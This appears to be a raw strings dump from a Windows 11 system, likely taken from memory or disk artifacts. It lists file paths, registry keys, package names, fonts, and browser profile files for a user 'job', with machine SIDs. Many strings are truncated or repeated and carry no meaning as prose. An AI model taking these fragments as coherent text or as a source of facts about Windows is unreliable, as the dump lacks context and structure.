:WofCompressedData \Dev\Query :WofCompressedData system32\drivers\wd\KslD.sys MmGetSystemAddressForMdlSafe \SwDevice \lsass PRINTENUM\LocalPrintQueue \Windows\CSC :WofCompressedData \Windows\Branding\Basebrd \Windows\System32\APMon.dll :WofCompressedData SWD\GenericRaw SWD\Generic :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:3796:120:WilError_03_p0 SM0:6588:304:WilStaging_02 Class system32\drivers\wd\KslD.sys \Windows\System32\ :WofCompressedData :WofCompressedData SM0:6588:304:WilStaging_02_p0h SWD\PRINTENUM\PrintQueues :WofCompressedData :WofCompressedData \DosDevices\KslD :WofCompressedData SM0:3796:120:WilError_03_p0h SM0:6588:304:WilStaging_02_p0 :WofCompressedData PRINTENUM\LocalPrintQueue OLE52D2BEDD098D72B318B3B70982C5 \Windows\System32\CodeIntegrity \Endpoint :WofCompressedData :WofCompressedData :WofCompressedData OLE2E0A342E7B08110E4D0F40049ACC :WofCompressedData :WofCompressedData :WofCompressedData \Windows\CSC\v2.0.6\namespace \Endpoint :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\spool\drivers \Windows\CSC\v2.0.6\namespace \Users\Public\Desktop :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \registry\machine\software :WofCompressedData \registry\machine\software :WofCompressedData explorer-AeroAnimationAllowed :WofCompressedData :WofCompressedData :WofCompressedData \Dev\Query \Users\job\Desktop :WofCompressedData :WofCompressedData \Users\job\Desktop \Users\Public\Desktop \Windows\System32\spool\V4Dirs Shell-WindowTabHost-Enabled :WofCompressedData :WofCompressedData \Windows\System32\VSSVC.exe :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify :WofCompressedData \System32\kernel.appcore.dll \Dev\Query \CMNotify \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SWD\PRINTENUM\PrintQueues :WofCompressedData \Windows\System32\pcadm.dll windows_shell_global_counters \System32\kernel.appcore.dll :WofCompressedData \Windows\Fonts\segoeui.ttf :WofCompressedData \SwDevice \lsass :WofCompressedData \Windows\Prefetch\ :WofCompressedData :WofCompressedData \Windows\System32\SMI\Store :WofCompressedData \Endpoint \Windows\Prefetch\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMApi :WofCompressedData :WofCompressedData \ProgramData\USOShared\Logs SM0:2172:120:WilError_03_p0h :WofCompressedData :WofCompressedData \Windows\System32\VSSVC.exe :WofCompressedData :WofCompressedData :WofCompressedData SM0:2172:120:WilError_03_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \MsFteWds :WofCompressedData IMAGELOAD aMicrosoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat ISTRY\USER\S-1-5-21-39148898 amd64_microsoft-windows-telephony-phoneutil_31bf3856ad364e35_10.0.26100.7309_none_7cf22c03925c28a2 ISTRY\USER\S-1-5-21-39148898 amd64_microsoft-windows-u..ess-userdataservice_31bf3856ad364e35_10.0.26100.7705_none_da5c109ddfa0c069 \ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache \ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\machine.pckgdep \ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData ISTRY\USER\S-1-5-21-39148898 amd64_microsoft-windows-a..-messagingdatamodel_31bf3856ad364e35_10.0.26100.7309_none_26488beb434679dd \Device\HarddiskVolume3\Windows\System32\capauthz.dll \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport \Device\HarddiskVolume3\Windows\System32\apphelp.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe \ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep ISTRY\USER\S-1-5-21-39148898 amd64_microsoft-windows-u..ccess-userdatautils_31bf3856ad364e35_10.0.26100.7309_none_7ac1bd47510cc473 \Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280810 \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings vice\HarddiskVolume3s\amd64_ amd64_microsoft-windows-u..pimindexmaintenance_31bf3856ad364e35_10.0.26100.7309_none_63c227af9a6844de telemetry.P-ARIA-faab4ead691e451eb230afc98a28e0f2-4089b390-5e4a-4a54-ac5c-6be4f2ea9321-7247.json \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport \ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium \Device\HarddiskVolume3\Windows\System32\combase.dll \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport \ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\machine.pckgdep \ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy\machine.pckgdep \ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium ISTRY\USER\S-1-5-21-39148898 amd64_microsoft-windows-userdataaccess-cemapi_31bf3856ad364e35_10.0.26100.7309_none_1e96aed24d13a03a amd64_microsoft-windows-t..ompatibility-client_31bf3856ad364e35_10.0.26100.1150_none_f9ef7876142ebfea telemetry.P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425.json \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d.dat Cache \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\dev.identity_helper.exe.manifest machine.pckgdep msvcp140_app.dll slc.dll spoolss.dll localspl.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat::$ATTRIBUTE_LIST L.job.cdp license.rtf \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppX0rx4escc2mj6hvn679j52gzahqw4y7qg.mca \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe\machine.pckgdep terFilePath:C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll" \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG2 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d.dat \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d.dat \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData 000022.ldb appxblockmap.xml \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG1 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat.LOG1 Cascadia Mono SemiLight Cascadia Mono SemiLight Cascadia Mono SemiLight SemiLight Progra mmon F Cascadia Mono SemiBold Cascadia Mono SemiBold Cascadia Mono SemiBold SemiBold PROCES appxblockmap.xml appxblockmap.xml Service-0x0-3e7$\Default TSA://ProcUnique \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches\{31F4938A-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db appxblockmap.xml utc.cert.json utc.allow.json.bk appxblockmap.xml Cascadia Code ExtraLight Cascadia Code ExtraLight Cascadia Code ExtraLight ExtraLight AppxBlockMap.xml appxblockmap.xml Cascadia Code SemiLight Cascadia Code SemiLight Cascadia Code SemiLight SemiLight MpRtp.dll AppxBlockMap.xml Cascadia Code Cascadia Code Regular Cascadia Code Regular Regular appxblockmap.xml appxblockmap.xml Cascadia Code SemiBold Cascadia Code SemiBold Cascadia Code SemiBold SemiBold AppxBlockMap.xml appxblockmap.xml \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf WofCompressedData \Device\HarddiskVolume3\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\ec4ced3b4670c70d_COM15.dat WIN://SYSAPPID MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf:WofCompressedData \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf 63}\0000 System32\wevtutil.exe Cascadia Code ExtraLight Cascadia Code ExtraLight Italic Cascadia Code ExtraLight Italic ExtraLight Italic machine.pckgdep \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf WofCompressedData Cascadia Mono ExtraLight Cascadia Mono ExtraLight Cascadia Mono ExtraLight ExtraLight Cascadia Mono Light Cascadia Mono Light Cascadia Mono Light Light Cascadia Mono Cascadia Mono Regular Cascadia Mono Regular Regular Amcache.hve.LOG1 WIN://SYSAPPID MicrosoftWindows.CrossDevice_cw5n1h2txyewy Amcache.hve \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.RulesEngine.AppX46kesf3dvb3t88m0dvk9y7a6fh9wavr1.mca UpdateReboot$ UpdatePolicy$ \Device\HarddiskVolume3\Windows\System32\sqmapi.dll \Device\HarddiskVolume3\Windows\System32\wosc.dll .dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb :<17647717143869751280_data.dat \Device\HarddiskVolume3\Windows\System32\en-US\wmploc.DLL.mui \Device\HarddiskVolume3\Windows\System32\SndVolSSO.dll @<17647717143869751280_trigger.dat \Device\HarddiskVolume3\Windows\System32\en-US\svchost.exe.mui \Device\HarddiskVolume3\Windows\System32\svchost.exe cache.hve \Device\HarddiskVolume3\Windows\System32\Phoneutil.dll rofile \Device\HarddiskVolume3\Windows\System32\midimap.dll xe.mui \Device\HarddiskVolume3\Windows\System32\fltLib.dll \Device\HarddiskVolume3\Windows\appcompat\Programs\Amcache.hve \Device\HarddiskVolume3\Windows\System32\en-US\shell32.dll.mui \Device\HarddiskVolume3\Windows\System32\fltLib.dll \Device\HarddiskVolume3\Windows\System32\wosc.dll \Device\HarddiskVolume3\Windows\System32\oleacc.dll \Device\HarddiskVolume3\Windows\System32\en-US\msxml6r.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\MidiSrv.exe.mui \Device\HarddiskVolume3\Windows\System32\en-US\shell32.dll.mui \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\fltLib.dll \Device\HarddiskVolume3\Windows\System32\en-US\shell32.dll.mui \Device\HarddiskVolume3\Windows\System32\Phoneutil.dll rofile \Device\HarddiskVolume3\Windows\System32\fltLib.dll \Device\HarddiskVolume3\Windows\System32\SndVolSSO.dll \Device\HarddiskVolume3\Windows\System32\qmgr.dll \Device\HarddiskVolume3\Windows\System32\fltLib.dll::$EA \Device\HarddiskVolume3\Windows\System32\Phoneutil.dll \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\appcompat\Programs\Amcache.hve \Device\HarddiskVolume3\Windows\System32\wosc.dll .dll :<10787491199294779225_data.dat \Device\HarddiskVolume3\Windows\Fonts\calibrii.ttf \Device\HarddiskVolume3\Windows\System32\Pimstore.dll \Device\HarddiskVolume3\Windows\System32\SndVolSSO.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\propsys.dll \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\ie4uinit.exe \Device\HarddiskVolume3\Windows\System32\en-US\ie4uinit.exe.mui :<6203644761554738592_trigger.dat \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\en-US\APMon.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\propsys.dll.mui \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\netfxperf.dll e.dll \Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 8<1657768043896628995_data.dat \Device\HarddiskVolume3\Windows\System32\Windows.Energy.dll \Device\HarddiskVolume3\Windows\System32\netfxperf.dll e.dll \Device\HarddiskVolume3\Windows\Fonts\StaticCache.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Comms \Device\HarddiskVolume3\Windows\Resources\Themes\aero y.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\SysWOW64\Windows.Web.dll::$EA \Device\HarddiskVolume3\Windows\System32\MSWB7.dll roker.dll \Device\HarddiskVolume3\Windows\Fonts\StaticCache.dat ><1657768043896628995_trigger.dat \Device\HarddiskVolume3\Windows\System32\bitsperf.dll \Device\HarddiskVolume3\Windows\System32\sqmapi.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\APMon.dll.mui \Device\HarddiskVolume3\Windows\System32\winevt\Logs\State.evtx \Device\HarddiskVolume3\Windows\System32\Windows.Energy.dll \Device\HarddiskVolume3\Windows\System32\ExplorerFrame.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\crypt32.dll.mui \Device\HarddiskVolume3\Windows\System32\virtdisk.dll sk.dll \Device\HarddiskVolume3\Windows\System32\en-US\netmsg.dll.mui \Device\HarddiskVolume3\Windows\SysWOW64\msasn1.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\mswsock.dll.mui \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\wscapi.dll mcache.hve \Device\HarddiskVolume3\Windows\System32\TimeSyncTask.dll \Device\HarddiskVolume3\Windows\System32\UserDataAccessRes.dll \Device\HarddiskVolume3\Windows\SysWOW64\msasn1.dll re.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\State.evtx \Device\HarddiskVolume3\Windows\Fonts\StaticCache.dat \Device\HarddiskVolume3\Windows\System32\bindfltapi.dll \Device\HarddiskVolume3\Windows\System32\ShellConfigTask.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming proxy.dll \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\twinui.dll .dll \Device\HarddiskVolume3\Users\job\AppData\Local\Comms\Unistore \Device\HarddiskVolume3\Windows\System32\feclient.dll \Device\HarddiskVolume3\Windows\System32\StorageUsage.dll \Device\HarddiskVolume3\Windows\System32\deviceaccess.dll \Device\HarddiskVolume3\Windows\System32\AppxPackaging.dll::$EA \Device\HarddiskVolume3\Windows\System32\AppxPackaging.dll \Device\HarddiskVolume3\Users\job\Desktop svcp_win.dll .dll <<5353462548742598576_trigger.dat \Device\HarddiskVolume3\Windows\System32\deviceaccess.dll::$EA \Device\HarddiskVolume3\Windows\System32\efswrt.dll \Device\HarddiskVolume3\Windows\System32\en-US\Taskbar.dll.mui \Device\HarddiskVolume3\Windows\System32\feclient.dll::$EA \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\StorageUsage.dll \Device\HarddiskVolume3\Windows\System32\UserDataAccessRes.dll \Device\HarddiskVolume3\Windows\System32\StorageUsage.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\propsys.dll.mui 6 ?AB8C??=@>?@@>;@@@@@@@@@@@@@@rsistedSourceId" WofCompressedData WofCompressedData SM0:1088:120:WilError_03 StartMenuModelReady WofCompressedData WofCompressedData WIN://SYSAPPID \Windows\bcastdvrE WofCompressedData WofCompressedData WIN://SYSAPPID 101cHWNDInterface:20208 WofCompressedData ServicesActive \Device\HarddiskVolume3 SC Manager \Device\HarddiskVolume3 WIN://SYSAPPID 14dcHWNDInterface:201ea WofCompressedData WofCompressedData sion WofCompressedData WofCompressedData WofCompressedData WofCompressedData WIN://SYSAPPID SM0:6704:120:WilError_03 WofCompressedData WofCompressedData MSCTF.Asm.MutexDefault1 HasAnimations.4124.4788 WofCompressedData WIN://SYSAPPID ImeSipSharedMapping WofCompressedData WIN://SYSAPPID WofCompressedData WIN://SYSAPPID WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WIN://SYSAPPID WofCompressedData SM0:8068:120:WilError_03 \registry\machine \registry\machine WofCompressedData SM0:5528:120:WilError_03 WofCompressedData WofCompressedData \registry\comroot WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData SM0:796:120:WilError_03 WofCompressedData LRPC-3f765a2f164cc441a0 \Windows\System32\Dism WIN://SYSAPPID WofCompressedData \Windows\SysWOW64\wbem WofCompressedData WofCompressedData \Users\job\AppData WofCompressedData WofCompressedData Internet Explorer WofCompressedData Internet Explorer SystemCertificates WofCompressedData SM0:6868:120:WilError_03 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \REGISTRY\MACHINE WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \REGISTRY\MACHINE WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \Windows\SysWOW64\IME WofCompressedData WofCompressedData WIN://SYSAPPID WofCompressedData ShellLauncherLoginEvent WofCompressedData lume3 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\show_third_party_software_licenses.bat sionActivityComp \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppX2n4vda78xdy3qfxkpc4tayac0y131445.mca metadata.json settings.dat.LOG1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\manifest.json torage\leveldb\LOG No_Vary_Search MICROSOFT SANS SERIF Microsoft Sans Serif SEGOE UI Segoe UI \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Advertising eferences~RFc851.TMP kgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\cache ckgdep S-1-5-18 \Device\HarddiskVolume3\Windows\System32\wbem\WmiPrvSE.exe msedgewebview2 MPTS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\000011.ldb \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies ype":"REG_DWORD"},"USOCLEANUPPLUGIN_SERVERSKUBLOCK":{"ValueName":"UsoCleanupPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_STARVATIONTHRESHOLD":{"ValueName":"UsoCleanupPlugin_StarvationThreshold wmiprvse \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Session Storage 51.TMP kgdep ATIONCAMPAIGNID":{"ValueName":"C istry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0005 s\System32\profapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites teCache\data_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites teCache\data_1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_images_200_percent.pak wy\machine.pckgdep \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_images_200_percent.pak wy\machine.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad\throttle_store.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad\attachments \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad\reports ewy\machine.pckgdep LocalState nPlugin_ GIN_MCRWAITAFTERACRINDAYS":{"Val StartMenu.dll resources.pak en-US.pak MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\index LocalCache LocalState C_874.NLS ServerCertificate kernel32.dll.mui ata\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-shm Shared Dictionary \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb prnms003.inf hwreqchk.dll \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 NDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Web Data rage\leveldb AE5} S-1-5-19 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\MANIFEST-000025 Variations AAD.Core.dll DismApi.dll ntprint.inf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\wasm\index ReportQueue \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_3 blic Locales \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-wal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL AppsIndex.db-shm \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\CURRENT~RFdc85.TMP tivationStore.dat.LOG1 AppsIndex.db-wal AppsIndex.db History Web Data 